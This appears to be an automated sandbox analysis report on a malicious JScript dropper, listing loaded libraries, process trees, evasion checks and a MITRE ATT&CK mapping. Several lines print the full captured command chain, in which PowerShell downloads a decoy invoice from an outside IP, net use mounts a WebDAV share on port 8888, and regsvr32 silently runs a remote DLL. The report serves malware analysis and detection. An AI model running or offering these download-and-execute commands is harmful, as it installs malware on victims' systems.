Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2022.js.csv");ITextStream.WriteLine(" entry:8101 f:sgemzt");ITextStream.WriteLine(" exec:2 f:sgemzt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4446			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5340			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940	Thread sleep count: 4446 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940	Thread sleep count: 5340 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3224	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7416	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2115206703.0000025D27E7C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2115206703.0000025D27E18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3351011638.0000027BC0A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3352092428.0000027BC6255000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
